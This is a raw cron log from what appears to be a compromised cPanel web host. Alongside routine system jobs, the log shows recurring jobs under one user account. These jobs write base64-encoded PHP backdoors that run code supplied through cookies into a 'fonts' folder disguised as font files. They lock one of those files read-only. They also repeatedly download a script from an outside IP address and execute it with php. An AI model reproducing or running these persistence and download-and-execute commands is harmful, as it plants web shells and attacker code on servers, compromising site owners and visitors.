Sep 12 11:08:01 ip-184-168-122-23 CROND[14786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:08:01 ip-184-168-122-23 CROND[14785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:09:01 ip-184-168-122-23 CROND[14893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:09:01 ip-184-168-122-23 CROND[14898]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 11:09:01 ip-184-168-122-23 CROND[14895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:09:01 ip-184-168-122-23 CROND[14896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:09:01 ip-184-168-122-23 CROND[14897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:10:02 ip-184-168-122-23 CROND[15007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:10:02 ip-184-168-122-23 CROND[15010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:10:02 ip-184-168-122-23 CROND[15011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:10:02 ip-184-168-122-23 CROND[15012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:10:02 ip-184-168-122-23 CROND[15014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:10:02 ip-184-168-122-23 CROND[15017]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:10:02 ip-184-168-122-23 CROND[15024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:10:02 ip-184-168-122-23 CROND[15023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:11:01 ip-184-168-122-23 CROND[15115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:11:01 ip-184-168-122-23 CROND[15117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:11:01 ip-184-168-122-23 CROND[15116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:11:01 ip-184-168-122-23 CROND[15118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:12:01 ip-184-168-122-23 CROND[15215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:12:01 ip-184-168-122-23 CROND[15217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:12:01 ip-184-168-122-23 CROND[15220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:12:01 ip-184-168-122-23 CROND[15218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:12:01 ip-184-168-122-23 CROND[15219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:13:01 ip-184-168-122-23 CROND[15394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:13:01 ip-184-168-122-23 CROND[15396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:13:01 ip-184-168-122-23 CROND[15397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:13:01 ip-184-168-122-23 CROND[15399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:14:01 ip-184-168-122-23 CROND[15480]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:14:01 ip-184-168-122-23 CROND[15482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:14:01 ip-184-168-122-23 CROND[15484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:14:01 ip-184-168-122-23 CROND[15485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:14:01 ip-184-168-122-23 CROND[15486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:15:02 ip-184-168-122-23 CROND[15612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:15:02 ip-184-168-122-23 CROND[15614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:15:02 ip-184-168-122-23 CROND[15611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:15:02 ip-184-168-122-23 CROND[15615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:15:02 ip-184-168-122-23 CROND[15616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:15:02 ip-184-168-122-23 CROND[15617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:16:01 ip-184-168-122-23 CROND[15752]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:16:02 ip-184-168-122-23 CROND[15754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:16:02 ip-184-168-122-23 CROND[15756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:16:02 ip-184-168-122-23 CROND[15757]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 11:16:02 ip-184-168-122-23 CROND[15758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:16:02 ip-184-168-122-23 CROND[15755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:17:01 ip-184-168-122-23 CROND[15887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:17:01 ip-184-168-122-23 CROND[15888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:17:01 ip-184-168-122-23 CROND[15890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:17:01 ip-184-168-122-23 CROND[15892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:18:02 ip-184-168-122-23 CROND[16056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:18:02 ip-184-168-122-23 CROND[16057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:18:02 ip-184-168-122-23 CROND[16058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:18:02 ip-184-168-122-23 CROND[16055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:18:02 ip-184-168-122-23 CROND[16059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:19:01 ip-184-168-122-23 CROND[16146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:19:01 ip-184-168-122-23 CROND[16147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:19:01 ip-184-168-122-23 CROND[16148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:19:01 ip-184-168-122-23 CROND[16149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:20:01 ip-184-168-122-23 CROND[16256]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:20:01 ip-184-168-122-23 CROND[16257]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:20:01 ip-184-168-122-23 CROND[16258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:20:01 ip-184-168-122-23 CROND[16266]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:20:01 ip-184-168-122-23 CROND[16264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:20:01 ip-184-168-122-23 CROND[16265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:20:01 ip-184-168-122-23 CROND[16267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
